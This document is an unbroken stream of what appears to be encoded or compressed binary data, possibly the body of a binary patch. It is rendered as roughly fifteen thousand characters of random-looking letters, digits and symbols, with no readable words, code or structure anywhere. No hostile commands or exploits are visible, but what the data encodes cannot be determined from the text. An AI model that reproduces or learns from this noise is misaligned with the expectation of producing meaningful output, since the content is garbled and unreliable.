zuq3%fTdin*VO0r78_Vkv!%1?3lm%Ru97Y2X} z{o_LK;*l{TZdO$c<^3O~0Ld1!HB7$tzuZ*Mjmd5|!2Mnh*E(?q81b5%?MB|p3Rw$vZz%e_DU(`Pn{$u-()}|l_oSqEFLi6{F5cF%~ zM7E`(1eE1^a%(-c?B1Un-x>J;+nP1rM(f6Z(+w-2${aIZ<$^e7TJE8{l!nVe;|02) zMbdb@HNnsvsyzUF5Dn(JDzsC^;dF?xdOle?)`s~J6XJTP1%lxYys4Qca%mj`&r$he zB5D|F1Wy@5Pi0?B8!NVSvKT8yCx`IOW;HL64Ggx73OT!h9O+OSCY3dY!+%z@8LZ%P zCB0A3GY6TuMG)_AxcS2;Way)ikA6d)vjoo8S2yN`G<%o@w*M3}W}#|u-yHukvT0+T9S zI_WN4%y0;`SY*Pi@oZ1|PadcnGKeTcoF2pw-GxES6DzY>+8VD1F=)S)x3*jSpCSUE?Ty@N23nb%6m#-+N2Fqf>8k+0Ae_02mX}ZWjmnDcGr1M z*>!U|cSoh00}BBK77E6ZC{l2t*+5DZvW$ZZwD)iMjYULg!;KTz5G^$A;$@d9T{LUy zJa^3vE7Yb)d~{FPp5g$>T6sN3M%K$`tj2xr>H%W0rerRLQAQhS2-_E2SK4j1;~(M< zX*rhv>ZE0MpJ*FGOfe#&G%PD*gh94J9GJOlJ69&$B%k9hFL*}_o$sdkwV?!^U<@`Y zZffXg$mK9S`~-u%_}wlzVLi=sN&9=d^hE#rjO_%R9-!DPmY?Z=zm#{GRbERsh$}{Y6nPC^s#p~gA8+lUNMsuD?3me|&{Viq5&xxPQ`3laLr`hp#&9{re&h~lY73`+F5_lyH z7Gw2__Rpg5N*hO*Me2EF3GwurNV}DG#4IE26dU1J+yHsKet(6u#tTe0tV_lMw{Fq~ z+jLf)ceW=vm^aHV+720swwuY52JE%yakWT6M<%-CcurZoFfI`fz!}@uBFiu3n<7ga zQG%AWOwQL+z`iQnxRK@cRKnc3i*$-NolSVbKiN(%WNfULW*dXC@f!9MY;jp>dzqJ0 zGR9MTNaO9cVGF)ZVcoMuO2><*MI;hc|DPoiC%$M8fDLXtZh%4FqNkS$H5OKtEF!UT z<9wl!d9W=Er7aaMtanw`c6tY6v=xVp*y290o!qBJgImA}*b-{4)nwRM)U~p>JEu^S zL_*AZ9i%^l*-3rI)f40_2p+f9Ky|fv*U>zDaMlHuxEo~6gM@<;x-c z(nCBTa(lg*;q1&!9#rGPUe6$V>Mo)vIX|IRY%8~dqO`|S2gx3X*kI*=9dE0Z-3LXf zbnvL5J@klpsK6>L4Mx4dDhQ3&52_lj8-9XPP2nP86eA*%{dE_X_eN0{c{zlQjBCD4fMTp+quRP~UZ)3kgyeDt4wFC{uN=F;BIiF@_Rv~7G2C7et#8Gz zP$RY*FsbQ|NzKEUaI|P1tvq;26~x=pS7=v-2h5SsgEpgRY0RdpLPa)Yv}6Ouc1w=Z zipoapcdV*4l3JJcy?9#91&}X%=I_)@ek)2;hw7c2t3G01+j0$AdEVS@DrF}xPTIwc zL&NGEWE2hpv4r*oP>3v(SqsyKnoE`onait>HK(x(fP*P@0bg2>v!OO(e4WY7QDZNr z#f}td9M?wS_EuEN zJ!zDtX5~O(CE*25MUcfJbkb7y`CtFkSAo+9zGjU6r@owQH76meTPTGjp2eEFQw@_} ziA7S4CSpx~393wUUDXkLJe78|m2S;fn-X8~MbXx*u{ir+4;V6xNd@l;+`ybRok$z|>_=Zgd-?UjlVd3e& zq5I}Y`8QZ6q?FoIo#$I+*{@i)Y|R?0S7qh(pUo6T^ri1I3x?FOR7Y)&>E=#1@y@Db z-pa9)^xZYSGhH(X|LV#dB+fDfSLr)!rt2ZyQH-#$@gpI1k-kf(piEbcx_s2=SLwT( zT%B@LG5S?E8m%W-j8(7aXwQ1XR=)k>F$+>%7jx>^8l&T}au-6#!oJ6Q?htmC_UgMl z+H1`Z#sMhg79$00muIR`tH+1URiPrW%sSMM57U?rBo)RYcB!6uY8~Ky72-r^_CGq* zPNUV!I^s%Q0N)n_VH&N?>hP(N8! zW0=SHPgXUk)7U)u8$rt|R7cEph^Ajjm&PzGtKoLFj-e*%`z@VN&z*XpX7uQ-Jf6LW z;U;NyQ8#OVD&K$>7zl-hwhch;qFdC!9sY?^N?rSj(!@|scij=oVx=}%)5HcH|690N zF1KsbNgF{z$_qSOj3E_5lh>w`rc*^K<(2x(N@c`S`3sXD-|?~JR^?R@Ye66u^Jdjm zS%WM35zWH~qgISZzVJabSU-qpuD&0QPB5A~A4a3Oe>57AB}V5`Lu&>_D=OAHiWP)h zjfT~5E}d}CI&o>HzWr74D|gX-aw(0}0(LDhoG<;-O7YoBw7+fM_bJbKsRSTlZ?A_` zvIp9o9)Boa{um4}*z0{SNM?bj&rm}?>xRg>^~7!HNuQ`Ie+&RKfIjuEL``Oa&q}zd zmAa$B?9MZ{gimxWe+&dOkUm8NYF?)$548yW;%;kr)&i>;P zP2#n2x4P|iw{(`1B4?#cTVY|<<0>)z=f|Ojds9z4T3O5#V?&LLlxjMLA$P@s8O+v= z_=HqMM$v)df0W9eYw*O>#%(-6?-8?jVN%ZUS7sy7F2<;TKCDl zkh3^fE+mG=D-y%Jeur`=IU+A&9H$b>dcdW|b;`@VS>stuIDclAYGz~cCSpnRUBki( z5KYrqHBI_Ftxj;Bc8cn1F?ON3f6#G=%x}}P$ca<0(I{uU-{`EkM`n|nP`2yhpR6$- zw0BSfZB%QBL>QaBRLIh?E3CU(X4;a5CwmJk5eEBNIYSLcvPs}0cFF*O4p_*z!*rgaB){$)Zi>#JmE5tp>g!z$`20r zU})-haH{H|73SkwxT@0JYjkxyRj4=LYgS_TMTfPO!5K?e)T*CVHs#n#|BE`?rez*z$Y=QfDAlpm22xuYH;ZjjVHkiG*AlQ8j; zY9mcDgc`(Vk?C5nsW>*Jm6Xcm^d3^0VH{Tnk26j*3iD~kG@P5#3P%A1O1wt!bldP& zh>melQpywb=-8)BM)w9o?bRgJW% zO3!1FLR^mXL>yd$Op7=cuRKWadk_Z_R%J@*3m4%FSK$i@$3RloQOX@-FMtsvOUPoB zr>O4i1+Wj@z%@LqEgEkkL@kq-=!W7sU(ew}(WDvWr@E6Piowx|WhN?SobG^w?AVt{ zD{*R;#kmsky1^HSeVKv#X+>enJ9HPNSBs_#S~`tqe(*-3MeQV>A@gh1*SCNua1F9! zMxMSX>buqOK^JVv0cVOA)3>u1SxyU8HCzX_4(J%k?0ZNwA0- zn|LHQ9RI{+R3d7K;&j6UrFD*B)F5JvZz$N_C~<;-s^kid*jeEEUtelJP;nQ9gn0j*TLgzm;7*z~8mH&7 z8NIAo!5f5t2628ZRk;SaAq8>Rt2GxZMA%-B(EXx=G?@ccXv2~)=&-Q*K@kgvWsBgZ z>mEc0dqsV0zf+3FtYh(@ns2DiUn-H`Qz0e`n3l&XM90U@LW82mL$*KOUWk6Jpe138 z^OEwCTG#xw9-q2Ov7nhOi6dt*BD+9hhGsqN?K#Z z3>Chcs2cHJF?JoR4Ic7fBR3t12NwS%oAK;)##8dRLGnye`<_Y0(`fI7$v^+G2xS^4 z38zu;^pX}Cma)q_6Z{V0hTw;w0eE)xGQu|rPsEjDe>3Z;ZU6$(qf}em< z_<3k}Dtf!grck^%OUtBqRRfOJJXpLx<7Vl!qEsxQl0P{?^Jw!aO5syS6u6_4QV{U3 zxjNdLCNEL5V?k37p=RAw!>Eks%L8`&?)+j zpmK~cu15F6NHktij^Dz@WL z1F{^dM&&57XkM#ARak1S?+Htth9?M1OUUvq_$Qb6Osn!Z{9F14=M%YMoaeZ~G^Qus z6bzTtx_t>%P*6_|`6`ufn4?ITg3z?TtU`5{z8Q%IYNYUohcn->j8E$_<6cUYy~a$U zOzKl?A2jBw&vdR4`qUlz6p<7NqmM?=N%}^Fjp5aN!!DlrxeH;VHiOt}#J43oNsp9p zL5OfWiExF57NU*ZST6}7I~VhrU1QkE%YGies|*>?{$DWFn~Z``5ny)&h?k)5(jFY* ztd6=Wfm^Ikvyp?XQ_>j))7u|E{$o(5$KabQED&>B)e2j@S&v*)$b~|1byr~#%!BEP znX3o<3liZr5I+OGv~+m+V|GdVCoj`Y*%aE>N403_fuEj(M5R{jr{Y13iR8s1A6(vzERH%(sGB2{bN=i0j>khvVfZ9^CBPvfv&PRxS zJG8X2{R&m|s~>S|VCW7*(dSxOAVpG5S4J$EyQy(lKCG5BQ)^)*QY#`{zEVVtj8?v$V!ooHm2ec2Dd~Q@6n3qH(r`= zOroMl;;XBNbl8}T{zpp2A(lYfq%@*5={yzBd$Va)Q8h=+ZH}n$bwDL5w9z7}Zdz0z z<{J@QH!V1I@Xh?~Y$d&@Q08RyZ_8I~50z7<0cLTdh6`RMH)spv%}%O;y40-zDx-3; zWdQ7#IQ~nus__M7DVNmaazKV&7$&n@$uYe~FQV5g^tei≺M~;j+ zlxV`U2Zr2cuwO@=+owgrfo}ej?dE7VjLV6}8-oz3a8Z8bNtzFv>IiVWIQ|dWz>;uJ zeB~KK03OmLoL;B|Ur7zjL4WWOgJlSAIAa<^|1MGjLvWMA=#}lP7zrq_G{Y^)fXz4- zCg>t81LHDjVd9QZ(8V&<=FjFTxv?4vCxy2BGCBzHA4)q}boiPp-LjXFKhw4KBqqH#f7jm6p>mZqRXd0>v0Zi6> zAlrE1*P%WHpflfh>r=j?1sr$v-x5Y-AnG|17_ElKL!Ct*@zIt;?}sd1JvfJt z#)FLuc0?PevxCK&;(Kamp>}yt4u{l8Y(CcFD+OZxD@RaUyVAlilW)D^6|Io02{mueowAv9x8^hSygke?#h7r;gqASuKo^!ItHi^3^ zlH{}aIIMJ5p2Q6{lkCE{!6wXZE0A@XK0p?U6zg@oQRvaG)E+4%0~vI-j%^s{}w~+Twe**fuC9$%=(Y8rBgYX$m1yhqe=`6NIS6*6FfH z)Ie5{hj=aGHQKnD6$P>Gbj_Ataxm}xtnJA4=;AtS=oB53)Uen+?-Z#B0+ zyGvJa&=W2frCd~hX|H@t=Ccnu+(fy3pQ8ez+HY1Nmlac{DE};yD$1`pG9M-_V4-ZW z6=kCofM$NVu~sL9rvC;Jf8&hrD+qV_i0)bh87a~X>d9QhtkokvaD}WPD*p*BPi$}y zjC@NYu#6M)dBw%^W5pM?bslDeZR~}M3qNKpQO-iG>5yx*mA4zYh?;rH#@95w{349Y zyfTPC;&7}9|4{SCi~PB6%rgVZ{%DWy64dyIk4>dTQk%|T4)9Y5F8CC}Z9{>Rh{>py zto&BbLtoxXZ_z-YQ{N-*`w8ihM0%p_0&(M~;0va_(@g9~gK$=Yz(oXss|W&D5d^Lx z2xl=}hf-9U3aeDWhN-~iUkO4fj*kSyvp{EI^CB)w_|+tL%w^u=CD0gVG}-4f_|+!y z2a|{jnZOf$@PTc459_5;dz9eWk86z@iru2j&gvWkX!VQPvm-_N3lhp{~wxY zIY7EAHPRl57IK(kspZW!lbTW3q&gq!@w{zT_`;59OemTLs|fmMuT9Ek((P zERH>DtJ|?2ZsPV47yKN>)UfirA#$9$Cj#Xe3*u0YZurjcHP(FbELjH84M7~G3tp9V z9+3a!%1yO!c;e^h-zuGOVfA_D{x!TRYY@jyGY}2Z)xL;%othLIgS21BD@2@#VHIqW6gu{7p`6*dU#jv7`4NC&_tD&!6T1Z@dLXR8qu zAlQIaw758;RK!x?WU(LLF*Yl)RuSExnD1*|AK4VDK)hBQc5QT{*bEhkCSnF7{4S^EHp11Ia{!;k+UGt~D`dP%p&;C^wVd`tb8MKv!t5mro zp23bHOq>i5WZXdou|r9VzD!(6lKe!^#g{08FK=@s<2FanU9cN9huwRKX*O~$%{I-) z3x(nf6}+;R`OSF2-1xVYXE#rTlve#uLPuo$ri8a#Xn zrUyn7u}iZD&zIJ$_{PA0atqztr$}7q;VS>0TU9*wwXleiFVry{yGi1=bku2_c6t!p zc+qPTT3QkIdtvb0OXmRm1cVukW6C3>nHbnaX97W5kP4iwD|H^k+G{jxtT=DiXx8Ep zn%LGHsTBhQu`w@FA!|PBvL(dI4h?c223&o$Br_s>_*{iw6d!GaLY^fR$;ZEn7>2QM z{9NhBb=%T^TiIfxy!<6RFgpeJu_Eqqo*@c%97FOLl-FD!aLk{6uH0?0hstPnQWIg% z$IAHLoicx|8e>Y08L))No(4rwqVQ!;)q^rg_BEb5$&uSG@aSny){h=419ngd&yo#B zF{Q4@Si_Iub4k#U5YyL;7ubDWFx^mBVB9d_dnVT6*D45i5kwCy2t0|`jOpCfnyv%^ zLIlx6M5_H*1%U&6kP0^~h)xXRJRh9%N)RAK5Xxwa9z;n!BW3w8l;yx1J~-eawcg4W zJ;GbOJuRbby{bokL5>m5$tnf#T2f24xcv1VUn%`@sWiE^*tjY(5q%N{f-=!Z=yG7}aP!UEgb`)!j4%X-D5FHi5cL zY3$#_F;Wzz6O8KL$e`IM@|ba={BHR!C#z zm}w*4IW(J#x{arn(irSM*Z$s**H`s##EG0e((Ql7-t+Z5`$IhrHD7nBiIUrBJj#(8 zyqZU7Jd-V%wL}%96QQosY;3+osNaSdc(&ejO6q_-X5a5u5vrK644k1}tupzvs#m$>%G;0~;UR<<%Z`FEOhWEf4V(qc! z%3GqnQdtxcrVylJ4h0nm<(0xpmSWszEMV~^7mHZMJCM$t!0R6#v$4|Yc))4p=zS^T}@gbQ!QpGJ(*@Jt`;7|<`2#Q)}k-;PE9USxLveZ zAUKOXx$?eF-||&Gwi2v%*!GDTp4#}SjWx90rPKJrklMpom^z{(sSXG6mZPP&sA!4` zlJ`#pTevDC#Fh*PY71FdSgcL^K}`)t3)?`MVc=M2C~GXB zvNp|NuA%xUj4VTYX^^dlt%a+S3QI;EQ*Erp$i7H2|Exhh0XoA7EDV%!Y8HP7)sJMu zqwj}e=3BH}Rt~H^nJqv5ir1H4E&K-_z}5fQ z;YxVLHDwCVqeO2ip5Fh?zv7#bxUEXY{(JxaXO-jsbuMN5^;$*v0WT>()M2&8mUc+~ zF~DQ+&Iuw6J10P`HHh_WyAA6_kGAK;v|)zZTy?(5He3vYhs#kM6_1irI5&`Dx1WRJ(tf)Oc3>~qEyC!Nw8*@k2Lws$ z%_q!YPna{vW|(sXn`54ZVI^sn{VIE~tL&eN=kl5TJF@TW&+*`{bA@gdVhFbiyA+8N5~#2 zkxn+f#52J@D=~vZd@~%DV^fT@+#$(<;U+npC41K49@%>i`6bEbmz>IBq^YH{Iend7 zW}J9c8&`HF2NGwN-H$OiX@A)Zg1t~Ship#SshmifTJB6ahH$1_I`@XAmrKTom6Tk5 zUwN|o%AYR}_I&xN6=+)_ssh=l3R^3H-CE%!*^?FKRwO&OVhop>#8f<65$xHD8G_BI zm_s(F;?z$V!Y6M&p>5!&!Tc6f@TV(31N*X45Vti4RX$xA=yc@=m1*;!a`YE~(O)Ee zL74Q#y)OapeHr+b2;r;1uK@$UUidZP!mp#g0gU=)^EZT>zlr<~F!H;^?+6pWOT=L> zQsVbVzb8EUeLi9S_ou25o~rV?D&Xs?Z>u5|Z>#R82DGDEYBiwLYQc^`!H%mPfmS;n zBs%E$$dMi&InHzfJJac`GuX4vZ=8YNI7f4KKf3xZz9{dievRl_^}rhR5m+O(2H4md zu{FWQ)?CS*nk#EQB6?Kw3DJ|9@z{SQ#n(!!1(a6nG122%vuo4;?Aj@{!KT!HT^sD{ z+KcJ{EvmDp4$z)DnM9d&Ce{U-SU0XNeZ?;`*t;${WOH1`dw?D9vBQ(LJ3P;Nf<5b**cohM=j&a_ zUhi_h3)uTzHv9&5!*3Z~$!2uT>BMpyvBP2jrU&R4Yb00 z$uOWL!&dvybhXb>AFxM#9{PZN=yPE>*$czp4hQ>oc)l;#eBT#-WMBBb^aK0SZ_@~{ zn?}4ELH5;%HzUBl8L`(N>|Xyx0b~~iqy~UZ4M-0Fn;sB5ifrttm7~C}9Cdg!*u$fj zk0HB!%>FT8_m9bB-;z0I)mXBt#vUCD_UPF4e}i5B_tbF)(zvW1XMh8KkKhka3BU2m zIc>P?gD4YYX#ZJV>3?-N|JPmhe{lfnDI6k}g1?R8AIX1KKC0~c4=nzf&wrg4iTbbk zk%#F5s39$1nw)WkW?VO(9ZhJzg zrW3XgshS>g@qn8&UXBo|DMC9f6yH&CllI9=g=$)Aw~nf5o!wEc0y}EHDD=@q^L;be z`{rnjk4w?^2|^zw*dM1pI&OcH>`nVMLLaRultO)!QYgGI*zm&9LLWsJPM|(YD4at! zr|@K`s6(Vs zH<1o&sBYFctS$+5b;<1|X}i7T<&t18mwZh2amn$e$c`_ys1(>mr4o6vMPjLag56i@ z7TH^+UXp!TYKj=jno@d2X|O9wZ!HaWYw2TxJy!ZY+54sQ$>x_nREFUmDs!$3*mGs# z`Q4WIvRliN-CFioS+K{-j^i=9x; zTH^$?#_1%{NvDTI51k^M8ApWkW-6e~&NT90k`}TMKAyty4s&YP}$OQEO&xpqaIkYSTwj z?aQ^nUaq~c4%mftc2fcEu5*XzPMs-rfu_`rtqT-e_Yl#cx_5}~)SX(7{-@T9uLm~1 z-lGO!A2paoT{Ej;azmixhF6HLG<-$$s$o<8?76m=+QRly+lTGIK5Q4-o@{9QW9_r4(LIx2 zWXN>Sai?vLd#DH4P>=NK(a zZ?aE&zv~V5UGKwvz#i^%p%2*$eQx&wd%I8epJ229OzBTHrT_l^VE6Z5Isoj_0dWJ! z#tk?)0PMj5#|JXpfma5Sy)y9bK(KcQ9vuYs=%6!$$etPWY!KLIgU$>FduH&;A!Jt$ zi5mhoZpif^V6P9kL3Crt{GmYehb|Zjv|#83q630=LfXT z?*Y*Rzehxm{5FmN+Bo9E2%rnlp+K)jM2-ZC9JzHQ(AJSxh^~yx^#{uJpCIJtgi#YI zKPQgbJqqmZQG1E@j>;bmls`InEOQ?`cI8;GE5{xh3--|1`$YH0?)e*N&)>KH2D

    S@F)LJN-skP?T13R}~j%ZwS>P_Ga<%Ifk8<1@f+laQYjW#p_yP;7& zzx0vcD6}!z(8iIC!A3StZ3;HE>4fHFCp4eVMsIrabIrk?Ykp6#_nPOB&1rtR1=!Oq zE{mq{a*J1N3SYGd`WbA{&k;W}govLP{S0=|&w(w$2DVIWNj9Z51Y(*s#_M zT7zBCI=401*5lgHc3hk2HejRM#I*$**EU%+yvc3%vfd!*n;Zcm7xxP`hS{h{u0?!qk2U6h7P=z~i>nZ(R5?v}x{8w6 z+tqf7RPJKBx+7gPooE&7luDTDq(sSus`BA8O0<&AD4IMoW${%|;Xd*!*T1OQe~#3D zE_MQ~|Lo*v04G1Y@EJ-W=d(Os=2co)374cwDZHGlbcUD5m7el4x$-o=cC4tpikH;N zdvQUqB0*Li!SB*l-VZarE_RsZX#R>x6MG~q?FyL||DY`NT_ikMV*0bd@Xpn@76ps` zribt)75W=%duT5eTJqlN9wpP5vy9N66Jsjh$(i&`Vk%{Yiq1> z4!ZfK>eiJ~+<&7P(|g#$@=OnkdkL|g zK_`sE3zA_Y0z!HXvgR(?NOr^3&&Eg$3=@+R&nkua1(J!0Newa+SP*mNoZ_k%$pe+( zc1Fu0`3R39(O9)e&ZwT%BGCfp7dgaw8iTA+|Ex$X+^vcvLl0Rk5}ja?XvwfB63zW% zMKbKXRgq|rnLvU4xl?idv5;w8j9SfER9-5Ng&%k%%%fCTiZkj3kSjRQq!{D?eRfu| z*8`Fy?2Cc9_-AP&Du`4NqYO)aAxM_BeW+H}O4*>wD{;-$;}YRuTC5-r3pXx@HcF_9 zl0DB@S3jbl-Wdx!?QmKci-;t9QI+su6j`k#9S5w+MV^?7m=;OSAqMqN(WF|Mu!Vzj zK?7&$h-5fZ6E<#+DRQMmES%4p?+!(5!hyHym71Kw1tmg9jz*tCkK6}o->iK7P(GjU8D9LQ~;lXl$xY`!O zqO4+N@K>2(SeYftI#;*ga3#_t7VK#(muBJ_te&a_Sx#})AYD-nTC1*@nPkhSL9W9^ zPKK+lMOjSP8L49>XX8|7{U&{@j~V0J@=|7{@hlNM_&N`W5^+(@%*yf+3j*IiGj~y4 zm4*uCZ;&+)Y^a7=w%tgwW{xwXnFAd%$(9&VD<4gfH518(GjS&?-K&JltZK=a^Hd(s zzpSzmU+EwW7?#chiW{)g$}q4}6b+GIofnW#g>EQ@kSoRUPGilB#`A8VV6s&+vsf=< zN#KJn<~ORVMZstuSTH{C6^v$Xhrp0{9jXPRV??bKj8aej{rf+s1Z1reNH)FDg7m_H zo-R_L0bBnuTFmdja^oMiy5TdLhNr7(3>s6AV9a1wTf?Ob^*6KQ!&;%*}4; z7Q4?|(j?Br4(Ntm3}=nc`ELJKK$7Z%>hhiPZwbfWaa!9{_Bi_R?yG`DDI382st zOG^MPEs?+(mIMso0G)DpPW0Sic1fVwC6hU$l3em4(Z!N)iQblsDg_i(Dzy|)YN;DU zH%e{e9LcuQM@s`8EgfG5D89@dw#j?S1eFB}DjQoCD7Nf)w6@ata^dVN!pprNdQomk zd7vfbgE;pQR3W+oP;`YU+|u#-v&nq>ds}re=O7kW+spU5z140I-KZAC*Sa9brJRFU z>bRe1zvEq^yN*-DThtUzNnp;%=>gyQ9yo>bH7?wFqchM(ZARib(Q{5r;LbU3;~d1c z>KCh{Igl<^zg!*cYcmo%`C7iSPDUNLWz-p8m;T4sT~-(Dvbq^ONGGFyNCTjd2JxJO zh;NWal-A%e(c=aY4S^yWVoNRVVZ$>-XBs{wdfIR{2hwJ9Jk1T`Y3GQ}HF`z#s?q$$ zjA=fnBru}W_-$jbZyPUZ0<@&b-X=hMwHb+NoP(IwbX8OOSf$NOOlwBA8KxvK0N3m? z(dA~(n~7KF=gsnn^O{9Ar=Q5?Sh9hEv*wR~2D_%^dQL`MYkmZPoNW?cZu$L&hHE~zcbc?xL_^FeWLrF-w?g&i~%y->MnU4Aj|8r z<~N`4Xnb_a^>zPUTl=I$A6 zg)(|Q?*;U{*OA^pM|xl8u+`<>Yj8rdw5H#-en8v$MfC@Y>c68u(2o8m1^}HHaD4#K z^#KPs@PA-n)z#`-5}DHD_>`moSL& ziua;Hyw?GRxa@UD5O=)t6(Yhr+M5>9-iy5v(_-(l-iYa}_j#i8-eH_P2pbYU1SovS zaiZfxP7<9QGKZ4~bB3l21xn!@f*a-#uq*`?b6DyypwwY^i0%vv@c|0)S?dF|*5??} zF)md>bL$hz$%D}0VZ(vKhR1O7AjWsOFVJ$|n?yH#Gl(*LK&PZ`5WeuA5g>fe2$&rJJUd`x0DW%^NFhuKI49t_fXjrJ19An-4R{@Z6ub^d{tImK zUt9hH+VWQ}Cn|DBMT{09MvR_48hGC5q|pp9Y4mo&?V~RVcxiMxVfyGi0rN&jk3ksG zV|I=KyK~G9q8npU#sZ~`y*L)=;@DiG+_6!A14aFP`fo*t*>6xZfUd)If;!AWb+yo8 zn)}Cem}V|1I!uRLJ`7!^6$FznjYz+?f1Ue>RwXqw1!l}Z-ZS$$g@@>PY z!ouXuRAHO#j!=aiu?wXN3pK}6g~gkvP=!sgpHCGw-~J8J8~YhlVKWNdrV6`VXcBeT zq{3J=jCtY0hlvgsep&?RX_4_ofyNhoSsdtP@o7|H(@I2AcSSmEbpYDxaE<7iLq1Wy z!_tyKOH1x43ACr=9ilrWgQ>fMOT|%z#g#fjbfi>lX`tBBn@a<2EcxbEv}RIGv*kJLmL< z=#5h}byu|WVrQVm&ew>pIj0k)JI7WBimkq?0Cfqh$RX>FjTwf9qn?XP{8=x*&vb$}+-Sw$7L zs?Kqu<8|)WVT||dOs@-edfnqxVaMw~=Vayc`dIdgGHtMpDr{SWi$oV2FcgpdAe_6J2hYPn6$qA$8ZnMyXU`sf}(C-D(slR9Il+SgNqt#&@W~?lhiC6*jd= zJXKhHlLVrKCOJeoO(KK}i)cE#DcIRfbEwU7n&uMaHr+?nwXfMVMTK2!mPwr1Y@$$M z6PvH33R~IyB30O&mJ6uD_Ov`k6?UxU+h2fYwwf4Dhn{6MqWhp&uo5`m#v)z++aD38k6;;^cP8&M`ZR`}}3KZnJ)D>tcSB2m) zbo6|3rDlE2NFjZJ^|CLl>EBmKVg{2HQL=|>uz4RPk68(ApphZG;EgQT`T+a?p7uWQ`uN0XU>NQV@u6bVT716cN>!ct~dfiosJg>># zyh)S2L#Vq#ymwNC?eyM7w9ESy(JSvaL~p#4slt+nY@rI+;^5A&@8`Xs<33gi$oXwUK73cTR;`IV8pf&K-)%K9tm`LWX?!YN;xCn z5Wg82DP&fpe-vd_lz+0K!jk>B6L0swBAl=IUnjio|5|Z=?VnGa?;kC6R&+oNWmgQA zC$rd61NIT_3%DuZ&47#mq#z?;DOK3gzm`#jE&J={D4?68@NMgy_ha80xN=v3sb(_KdwrbaQMl zRao%f+f^0z>H8{7C#b@{{!oQ!?jKWOnz^dNbjUsPP+>a$w+eetoBYp#vR(;n>Y+Z? zV=MX_YwZ}!rt+I+yQsl-@helsHEOVHMIIFadQ>EX8Z4vutKvYfiU&IY z1v{*C09xsAgy@LF1EL2GVI_gWN+y&9N+@}n=yb{FM9)jkr3RZ@Dw!HAxl}}Hpor2j zrGa8f2bBQ|Dic`-D6-5IqAO+ci1Nx@pa#28HmfX9R@tNFfR2{SEeDia?n-%DmVZ$m z=tcQ-YOqtEU8e>+UG*i`=Dw`Dpc>p3aBLn8ceN`-SE{`tdQ~lo8Z62&l^QG+s~*^% zr8@>vbp<-@p$6OIltq-~G}Ress&l9_P^j|}q9e}7h>kf&R0oQvo=~0s6RK~h4t7KJ zGt^*bYP_xi^twiLO`zzSyK4gNu6ctfv*yHF^f9s4%35Go*1B5@?A=;nwSmHFCsKnY z);>pcu68z2cI`QJfacWMS_f!roeOp7|3aNNWZ%@;N)5KP{tard8})-400lKzMb)*c z!G5Cs4ek-$YYaxyhoLdz}GU|X;{7bqX=$!I#M)pTmG zW37^@!Ctg}%}Z3971UrW+U%qTJAt*iG`-aJ3^mx9c30cM@oKv{9e_eRE$IZbq|>ub zK+igbxdMf`?s5g%<$8+flxr$ASgIR7`i_N~ZXxbKA?}OZffl)6BD&;$kLaHJIuD?W z9yf!dIF_-J|TMI8PXXjr1S31K)XAq5v6rb>;jb7ezU2;X7`V!28$iAnHp^KfM{y4=z%+_ z!FCReqXvr`bU_4~`et-Gh&b>#@Oi6b<%zaFCE(L0-{{Z5#xx;|w4%oGtEm^Au~fM-U(7>zJqjGn{ZY|fZuYOv%nGpM>|j7^{h zOBj2C=)~CPM9;^@QG;>$m)t_tS&|L=m<^vD`3x>lOd5}VPnir2wlWO_BdKj zIaQaiA&1{b? z5*W-xN9}OZ0qCT|%#uJeOD2{CN-R0O6wvfi(bUY*r6!aHnov5vG*Eo$nPq5MW_1~$ z)n(?C1xov5_IJ2MSKUSJyQ}J+s&Ly=b$m6T@znyW0R>h&M0BXyooZA?cdBKP&8ikc zwHxA;-~^Q5bcX1RQ!Y`i(_CkuDCaHC^s$8lkjTCBqUvB5X(NtziSAaPMzuSw#;O`X zt7;r2I$Gl?(bF2!YtsL84o6}%67DeOqU7U7*Evx7P*Q zUiSvkjk@oM-ql@N4`^wmQ;LK2(271F%y#HH>m= zaEjm_x74sHoW+G!Y5s%~_DSaU-S*R7!oZ&&QP{3-nLuHC zy5&_0+p8^KP}l~wnjwVkj8-9(vLUS_TEj7-^-&Hk?rDF%J<$2~D?0$K?69u`(7p~Y ziC%UH?g$jzF^5l1PRAK8Kr>uYU4T+u&JvwW)AWOty+?sutq@4AOj<%W2uBaMfsau0bXQ`aVIx^_Yr zpb1?Tc7fZ%E+>dibh%D+y-VV+K#9NZ`4wo-uTOsmdiwkL9zf%JT<8IGp+^=`R*#h4 zKq%Zl@5-*n=1-+bYm?>m7yc!FP)pYR>!x0HCP-!4D;-lfUp zTLRwl%c5(RU(g7;28{@&UJf3ykLr2fhyz3iMg;i-1^F*l^zUN-rNqnq_xjV%UjM^{ zhary%GyNYDKJ*U>APfmu9e^-a2OOm;J{s_d=uyCas^R^A-Ju%3^H&hnZ_p@w^A-*C zsB|Fen78li7@eSwkv6LRtXM8A78YvmAJZ|KInSel2-BfDZ>!^f>zMyPOm=>2c_nf2AWs;ZE0GTo=p`q8%HhyZTlqu zTU;hrT}>6Uy6W1ha9dmTKGFTE4~ZUDO{@l#SnXsrKJX{2rBwr)R_(bX*yoOsPC$`P zJDh-aINc<==``LMDA;+KGkq*`KIjbgpz{>!mMPWORR>yE{WQ_(>N!L?)gx*EMby|# z6|=dn;}%pjQWXGF^ToFsco`3waOEPwo=7x zZLpnadxJo#n81dMg^F3+a4A*H(uRT5ErE@KsA7T|r4gkyy5C4N(f1oYCw|^2T&S4v z#+#^OHZ{IO6%)f*Pz?JuzeE*tsreMjmPJ3s3KbLkQ#|3rpDs|v%x)P;6|=qN0jih- zEw59>JpSeNFD#|kzdYyg-1Am>t>Bo~YBN>L+V;EJ1MO-*vjfn~4(mDqt?O`u=thU9 zL{B@UQ^llrd`(UBx?`LRP@Kz77oeRkuZdo}gmeN5>2#tK(5p_7u0WC8r-?S+HJvEk zb%q-!%U*PHzxitEGvlN8YsIbgXEEz1Y&P>8evR|Ro(K#oF$44f@g%yJPT_w88bCdAu;l0coXqoq3qP^Z3L>b-_sbVG$nM4&cX-MQypva*MhXO4e zdXebj(91-Zxv&jK!VKFt3}_!0wn1SJ3-$pD_F3rzw9@Ag(IKC#;Xql#0~MJP=sTG* zWwP%IAyZcP#u3K(?o*ui`5q=d?0Z)@-}QY!_`o+$+;Dj~M9$l~$(eYB6G@xqnP)Y3AyPkq%MH%(adY zwK|lhQ9RZY2c=cKfK+0i>NImz2kKDOfjTZoole;_ zLb6s?+|AUTukyMIOvL^Dbdw@B@ab>3OyQ}4VxUjw0mVSyA6ACfD&*p{LEc}T*9>E= z3==CHQw?=q_``_c2HmhQ>fWvjmnz`SkU!7nH-c(&J?yu(lu@cnG z)uB=ys`ppNi2C0ng1QX-Z~up^-8jjH0;VBnuDU04yf4{skaOe*4RKV;amJlg$~%p- 